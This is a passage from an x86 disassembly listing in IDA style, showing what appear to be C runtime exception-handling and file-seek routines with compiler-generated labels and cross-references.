		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE70, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE68
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE6C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE68, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE6C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE68, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE6C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE74
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D444
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD388
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2650000h


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD140
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDDC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2780000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		nop
		call	near ptr 2680C22h
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD040[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDDC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


